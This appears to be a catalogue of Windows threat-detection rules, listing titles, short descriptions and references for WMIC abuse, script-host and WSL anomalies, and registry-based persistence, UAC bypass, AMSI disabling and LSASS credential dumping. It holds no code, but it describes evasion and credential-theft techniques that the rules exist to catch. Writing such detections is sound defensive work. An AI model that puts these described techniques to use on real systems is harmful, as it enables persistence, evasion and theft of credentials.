Potential Unquoted Service Path Reconnaissance Via Wmic.EXE	Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts	https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py, https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
System Disk And Volume Reconnaissance Via Wmic.EXE	An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the `wmic` command-line utility and has been observed being used by threat actors such as Volt Typhoon.	https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
WMIC Remote Command Execution	Detects the execution of WMIC to query information on a remote system	https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
Service Started/Stopped Via Wmic.EXE	Detects usage of wmic to start or stop a service	https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Potential SquiblyTwo Technique Execution	Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields	https://web.archive.org/web/20190209154607/https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html, https://twitter.com/mattifestation/status/986280382042595328, https://atomicredteam.io/defense-evasion/T1220/, https://lolbas-project.github.io/lolbas/Binaries/Wmic/
Suspicious WMIC Execution Via Office Process	Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
Suspicious Process Created Via Wmic.EXE	Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.	https://thedfirreport.com/2020/10/08/ryuks-return/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
Application Terminated Via Wmic.EXE	Detects calls to the "terminate" function via wmic in order to kill an application	https://cyble.com/blog/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/, https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
Application Removed Via Wmic.EXE	Detects the removal or uninstallation of an application via "Wmic.EXE".	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic
Potential Tampering With Security Products Via WMIC	Detects uninstallation or termination of security products using the WMIC utility	https://twitter.com/cglyer/status/1355171195654709249, https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/, https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions, https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/, https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html
XSL Script Execution Via WMIC.EXE	Detects the execution of WMIC with the "format" flag to potentially load XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md
WmiPrvSE Spawned A Process	Detects WmiPrvSE spawning a process	https://threathunterplaybook.com/hunts/windows/190815-RemoteServiceInstallation/notebook.html
Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell	Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.	https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e
Suspicious WmiPrvSE Child Process	Detects suspicious and uncommon child processes of WmiPrvSE	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml, https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/, https://twitter.com/ForensicITGuy/status/1334734244120309760
WMI Backdoor Exchange Transport Agent	Detects a WMI backdoor in Exchange Transport Agents via WMI event filters	https://twitter.com/cglyer/status/1182389676876980224, https://twitter.com/cglyer/status/1182391019633029120
WMI Persistence - Script Event Consumer	Detects WMI script event consumers	https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
UEFI Persistence Via Wpbbin - ProcessCreation	Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section	https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c, https://persistence-info.github.io/Data/wpbbin.html
Potential Dropper Script Execution Via WScript/CScript	Detects wscript/cscript executions of scripts located in user directories	https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/, https://redcanary.com/blog/gootloader/
Cscript/Wscript Potentially Suspicious Child Process	Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.	Internal Research, https://github.com/pr0xylife/Pikabot/blob/main/Pikabot_30.10.2023.txt, https://github.com/pr0xylife/Pikabot/blob/main/Pikabot_22.12.2023.txt
Cscript/Wscript Uncommon Script Extension Execution	Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension	Internal Research
WSL Child Process Anomaly	Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/, https://twitter.com/nas_bench/status/1535431474429808642
Windows Binary Executed From WSL	Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships	Internal Research
Proxy Execution Via Wuauclt.EXE	Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.	https://dtm.uk/wuauclt/, https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
Suspicious Windows Update Agent Empty Cmdline	Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags	https://redcanary.com/blog/blackbyte-ransomware/
Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths	Detects the execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract ".cab" files using the "/extract" argument from potentially suspicious paths.	https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html, https://www.echotrail.io/insights/search/wusa.exe/
Wusa.EXE Executed By Parent Process Located In Suspicious Location	Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location. Attackers could instantiate an instance of "wusa.exe" in order to bypass User Account Control (UAC). They can duplicate the access token from "wusa.exe" to gain elevated privileges.	https://www.fortinet.com/blog/threat-research/konni-campaign-distributed-via-malicious-document
Xwizard.EXE Execution From Non-Default Location	Detects the execution of Xwizard tool from a non-default directory. When executed from a non-default directory, this utility can be abused in order to side load a custom version of "xwizards.dll".	https://lolbas-project.github.io/lolbas/Binaries/Xwizard/, http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
COM Object Execution via Xwizard.EXE	Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry.	https://lolbas-project.github.io/lolbas/Binaries/Xwizard/, https://www.elastic.co/guide/en/security/current/execution-of-com-object-via-xwizard.html, https://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
Potential Process Hollowing Activity	Detects when a memory process image does not match the disk image, indicative of process hollowing.	https://twitter.com/SecurePeacock/status/1486054048390332423?s=20, https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/
Potential Defense Evasion Via Raw Disk Access By Uncommon Tools	Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Potential NetWire RAT Activity - Registry	Detects registry keys related to NetWire RAT	https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing, https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/, https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/, https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line, https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/
Potential Persistence Via New AMSI Providers - Registry	Detects when an attacker registers a new AMSI provider in order to achieve persistence	https://persistence-info.github.io/Data/amsi.html, https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c
Potential COM Object Hijacking Via TreatAs Subkey - Registry	Detects COM object hijacking via TreatAs subkey	https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
Potential Persistence Via Disk Cleanup Handler - Registry	Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.	https://persistence-info.github.io/Data/diskcleanuphandler.html, https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/
Potential Persistence Via Logon Scripts - Registry	Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md
PUA - Sysinternal Tool Execution - Registry	Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key	https://twitter.com/Moti_B/status/1008587936735035392
Suspicious Execution Of Renamed Sysinternals Tools - Registry	Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)	Internal Research
PUA - Sysinternals Tools Execution - Registry	Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the "accepteula" registry key.	https://twitter.com/Moti_B/status/1008587936735035392
Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted	Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.	https://learn.microsoft.com/en-us/windows/client-management/manage-recall, https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
Folder Removed From Exploit Guard ProtectedFolders List - Registry	Detects the removal of folders from the "ProtectedFolders" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder	https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/
Terminal Server Client Connection History Cleared - Registry	Detects the deletion of registry keys containing the MSTSC connection history	https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer, http://woshub.com/how-to-clear-rdp-connections-history/, https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html
Removal Of AMSI Provider Registry Keys	Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://seclists.org/fulldisclosure/2020/Mar/45
Removal of Potential COM Hijacking Registry Keys	Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.	https://github.com/OTRF/detection-hackathon-apt29/issues/7, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md, https://learn.microsoft.com/en-us/windows/win32/shell/launch, https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand, https://learn.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code
Removal Of Index Value to Hide Schedule Task - Registry	Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query"	https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
Removal Of SD Value to Hide Schedule Task - Registry	Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware	https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
Creation of a Local Hidden User Account by Registry	Sysmon registry detection of a local hidden user account.	https://twitter.com/SBousseaden/status/1387530414185664538
Pandemic Registry Key	Detects Pandemic Windows Implant	https://wikileaks.org/vault7/#Pandemic, https://twitter.com/MalwareJake/status/870349480356454401
UAC Bypass Via Wsreset	Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.	https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly, https://lolbas-project.github.io/lolbas/Binaries/Wsreset
CMSTP Execution Registry Event	Detects various indicators of Microsoft Connection Manager Profile Installer execution	https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
Disable Security Events Logging Adding Reg Key MiniNt	Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.	https://twitter.com/0gtweet/status/1182516740955226112
Esentutl Volume Shadow Copy Service Keys	Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\System\\CurrentControlSet\\Services\\VSS\\Diag\\VolSnap\\Volume are captured.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
Wdigest CredGuard Registry Modification	Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials.	https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
Windows Credential Editor Registry	Detects the use of Windows Credential Editor (WCE)	https://www.ampliasecurity.com/research/windows-credentials-editor/
HybridConnectionManager Service Installation - Registry	Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.	https://twitter.com/Cyb3rWard0g/status/1381642789369286662
Registry Entries For Azorult Malware	Detects the presence of a registry key created during Azorult execution	https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a
Potential Qakbot Registry Activity	Detects a registry key used by IceID in a campaign that distributes malicious OneNote files	https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
PrinterNightmare Mimikatz Driver Name	Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527	https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760, https://www.lexjansen.com/sesug/1993/SESUG93035.pdf, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913, https://nvd.nist.gov/vuln/detail/cve-2021-1675, https://nvd.nist.gov/vuln/detail/cve-2021-34527
Path To Screensaver Binary Modified	Detects value modification of registry key containing path to binary used as screensaver.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md, https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
Narrator's Feedback-Hub Persistence	Detects abusing Windows 10 Narrator's Feedback-Hub	https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
New DLL Added to AppCertDlls Registry Key	Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.	http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/, https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html
NetNTLM Downgrade Attack - Registry	Detects NetNTLM downgrade attack	https://web.archive.org/web/20171113231705/https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks, https://www.ultimatewindowssecurity.com/wiki/page.aspx?spid=NSrpcservers
New DLL Added to AppInit_DLLs Registry Key	DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll	https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html
Office Application Startup - Office Test	Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started	https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
Windows Registry Trust Record Modification	Alerts on trust record modification within the registry, indicating usage of macros	https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/, http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html, https://twitter.com/inversecos/status/1494174785621819397
Registry Persistence Mechanisms in Recycle Bin	Detects persistence registry keys for Recycle Bin	https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf, https://persistence-info.github.io/Data/recyclebin.html, https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/
New PortProxy Registry Entry Added	Detects the modification of the PortProxy registry key which is used for port forwarding.	https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html, https://adepts.of0x.cc/netsh-portproxy-code/, https://www.dfirnotes.net/portproxy_detection/
RedMimicry Winnti Playbook Registry Manipulation	Detects actions caused by the RedMimicry Winnti playbook	https://redmimicry.com
WINEKEY Registry Modification	Detects potential malicious modification of run keys by winekey or team9 backdoor	https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
Run Once Task Configuration in Registry	Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup	https://twitter.com/pabraeken/status/990717080805789697, https://lolbas-project.github.io/lolbas/Binaries/Runonce/
Shell Open Registry Keys Manipulation	Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)	https://github.com/hfiref0x/UACME, https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/, https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass, https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]
Security Support Provider (SSP) Added to LSA Configuration	Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.	https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/, https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Install-SSP.ps1#L157
Potential Credential Dumping Via LSASS SilentProcessExit Technique	Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process	https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/, https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
Sticky Key Like Backdoor Usage - Registry	Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen	https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/, https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
Atbroker Registry Change	Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'	http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/, https://lolbas-project.github.io/lolbas/Binaries/Atbroker/
Suspicious Run Key from Download	Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories	https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/
DLL Load via LSASS	Detects a method to load DLL via LSASS process using an undocumented Registry key	https://blog.xpnsec.com/exploring-mimikatz-part-1/, https://twitter.com/SBousseaden/status/1183745981189427200
Suspicious Camera and Microphone Access	Detects Processes accessing the camera and microphone from suspicious folder	https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072
Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback	Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.	https://learn.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-wmi-remotely-starting-with-vista
Registry Persistence via Service in Safe Mode	Detects the modification of the registry to allow a driver or service to persist in Safe Mode.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network
Add Port Monitor Persistence in Registry	Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md
Add Debugger Entry To AeDebug For Persistence	Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes	https://persistence-info.github.io/Data/aedebug.html, https://learn.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging
Allow RDP Remote Assistance Feature	Detect enable rdp feature to allow specific user to rdp connect on the targeted machine	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
Potential AMSI COM Server Hijacking	Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless	https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/, https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-comreg-bypass
CurrentVersion Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d, https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
Common Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d, https://persistence-info.github.io/Data/userinitmprlogonscript.html
Classes Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
CurrentControlSet Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
CurrentVersion NT Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
Internet Explorer Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
Office Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
Session Manager Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
System Scripts Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
WinSock2 Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
Wow6432Node CurrentVersion Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d, https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
Wow6432Node Classes Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
New BgInfo.EXE Custom DB Path Registry Configuration	Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.	Internal Research
Wow6432Node Windows NT CurrentVersion Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
New BgInfo.EXE Custom WMI Query Registry Configuration	Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"	Internal Research
New BgInfo.EXE Custom VBScript Registry Configuration	Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe"	Internal Research
